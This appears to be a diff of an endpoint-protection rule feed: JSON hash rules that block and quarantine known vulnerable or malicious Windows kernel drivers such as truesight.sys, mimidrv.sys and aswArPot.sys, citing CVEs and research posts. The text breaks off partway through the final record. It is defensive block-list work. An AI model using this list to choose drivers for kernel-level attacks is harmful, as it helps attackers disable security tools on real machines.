+  "id": "23b97a34-40c6-503f-af8c-0df284d4fb34",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826188Z",
+  "creation_date": "2026-03-23T11:45:30.826190Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826196Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "21c51f1f1c7de816763f1c95757815bd9fc4b0c4ddb48b31ba1fb6f75c49734f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "23bb2d82-3dac-57b0-9683-c5c5b7eb64b8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976353Z",
+  "creation_date": "2026-03-23T11:45:29.976355Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976361Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6839fcae985774427c65fe38e773aa96ec451a412caa5354ad9e2b9b54ffe6c1",
+  "comment": "Malicious attestation-signed Drivers (aka NodeDriver.sys, 4.sys, Air_SYSTEM10.sys etc.) [https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "23bfd105-acdd-5028-95b9-6dd26ee6eb9a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480028Z",
+  "creation_date": "2026-03-23T11:45:30.480030Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.480035Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c53b5f071de2bbc03387451052ab81bae9b8ec0a6e075c970600f791157b0b25",
+  "comment": "Vulnerable Kernel Driver (aka gpcidrv64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "23c2a3eb-c7fb-5c68-948d-79d2092bfaff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.835145Z",
+  "creation_date": "2026-03-23T11:45:30.835148Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.835158Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6cde9ccc57c594d23b20847c2ad76611a74ef7c682f28dcd20272b1ce802a1e7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "23d66f56-4796-557f-ac04-d52082a8c83a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615238Z",
+  "creation_date": "2026-03-23T11:45:29.615240Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615245Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7af3585ca7c2dd65032fa48759a0124db2c5bbca5fc8caf8bb8f61fa5085149d",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "23e2fbf1-51fc-5f47-a686-b1fe34e654e3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.816728Z",
+  "creation_date": "2026-03-23T11:45:31.816730Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.816739Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "05f6a7781481eb0ab9b893a1d5090ac23cb4738b449902f1f65467a560c0eafa",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "23f3cac5-909c-5d10-a408-709b4fade607",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977392Z",
+  "creation_date": "2026-03-23T11:45:29.977394Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977400Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c7079033659ac9459b3b7ab2510805832db2e2a70fe9beb1a6e13c1f51890d88",
+  "comment": "Vulnerable Kernel Driver (aka ProtectS.sys) [https://www.loldrivers.io/drivers/99668140-a8f6-48f8-86d1-cf3bf693600c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "23f5fea7-cb0c-5db5-91ea-a91eeb5c57d7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.967049Z",
+  "creation_date": "2026-03-23T11:45:29.967068Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.967085Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d166b6ffd164dbea53f0f588a979f4c5f1f2a1793fc10cda84a4530b7b22fd0c",
+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "23f67de7-eb03-5fe7-a246-3f38dc0d7f65",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156231Z",
+  "creation_date": "2026-03-23T11:45:31.156233Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156242Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bafb67136ec3e5cb200f3ffe103b736f75995a2f6b87b384aa9dfa3501d9ec08",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "23fd0a5d-eb2d-56e1-9939-6afff5cf468d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.469457Z",
+  "creation_date": "2026-03-23T11:45:30.469460Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.469469Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2bff494de18fb32985901a06a931dab92eda052172cf7c942cdd6da944b7a4ba",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "240f7d32-baa7-5bb5-afec-7d3a5ccf266f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.474914Z",
+  "creation_date": "2026-03-23T11:45:31.474920Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.474932Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "35a8ceb54744e733a31b662d964f5cab22ea63ce77286ce141f9c2563bcf1209",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "24104255-627b-5f13-9530-5fd8719b5a3c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.152159Z",
+  "creation_date": "2026-03-23T11:45:31.152162Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.152170Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "22c56a56f07d687685a3072c12dacccb3dad0c61c6148ce328727dd28f6da58c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "242517f2-7f2e-5810-831a-b960d4218d1c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.459893Z",
+  "creation_date": "2026-03-23T11:45:30.459897Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.459906Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "07c0239c548fdabcb18ac3b54001edd0f8abffd8285e39662d7632a26456d58b",
+  "comment": "Vulnerable Kernel Driver (aka VBoxMouseNT.sys) [https://www.loldrivers.io/drivers/ecabc507-2cc7-4011-89ab-7d9d659e6f88/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "24274ad6-70fd-5107-afee-8170fe3395cb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615932Z",
+  "creation_date": "2026-03-23T11:45:29.615934Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615940Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c0fc1c1c1ff39ea9a695996482ab31cb65c74aaf9f20cba21e9ff34ef054a008",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "242e4963-cde5-5fe9-be28-17e303346cf1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983456Z",
+  "creation_date": "2026-03-23T11:45:29.983458Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983464Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "146d77e80ca70ea5cb17bfc9a5cea92334f809cbdc87a51c2d10b8579a4b9c88",
+  "comment": "Vulnerable Kernel Driver (aka t.sys) [https://www.loldrivers.io/drivers/65660363-0080-4432-abd9-64368dac0283/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "244668f1-96aa-513e-a858-ca3e60ae86c8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980220Z",
+  "creation_date": "2026-03-23T11:45:29.980222Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980227Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9fa120bda98633e30480d8475c9ac6637470c4ca7c63763560bf869138091b01",
+  "comment": "Vulnerable Kernel Driver (aka rzpnk.sys) [https://www.loldrivers.io/drivers/1c6e1d3b-f825-4065-9e0c-83386883e40f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2457a838-4956-519b-aef5-48d77aafa717",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826525Z",
+  "creation_date": "2026-03-23T11:45:31.826527Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826533Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a6c578ca720621ec6981160912e70e13a390f349d593135587fef9cfc34517ad",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "245864bd-b5e7-5dd2-8dad-ac3870829711",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495097Z",
+  "creation_date": "2026-03-23T11:45:31.495099Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495104Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d5888073352e24be4718b0f28b1a4fde32ec3c0ff29bbda20213043bb4a3c6a6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "245b7c28-bae4-53a0-845f-0278000edf88",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.821290Z",
+  "creation_date": "2026-03-23T11:45:31.821293Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.821301Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "73f34dad3342777c826f23a3e36384ec093395a9d1d2b28c1bf0a82a9bedd167",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2467e068-43d7-5717-9275-31caf05ba5ee",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618586Z",
+  "creation_date": "2026-03-23T11:45:29.618588Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618593Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4b38c075ba6523502dfd39ed10757db58234a1c84d4952b65e30b4a8679bfcca",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "24680372-aa41-510d-9921-25dec8eed65f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970262Z",
+  "creation_date": "2026-03-23T11:45:29.970264Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970269Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fca5f90ce2b210e6026cbf6f2c281fe17a08ddb2e936200847823ef83eaab1eb",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2470a35c-3229-52c2-a468-181abcf1ce3a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619303Z",
+  "creation_date": "2026-03-23T11:45:29.619305Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619310Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ab8f2217e59319b88080e052782e559a706fa4fb7b8b708f709ff3617124da89",
+  "comment": "Realtek vulnerable driver (aka rtkio64.sys, rtkiow10x64.sys and rtkiow8x64.sys) [https://github.com/blogresponder/Realtek-rtkio64-Windows-driver-privilege-escalation] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "248cc669-35e5-5018-95e0-082bfc13355e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
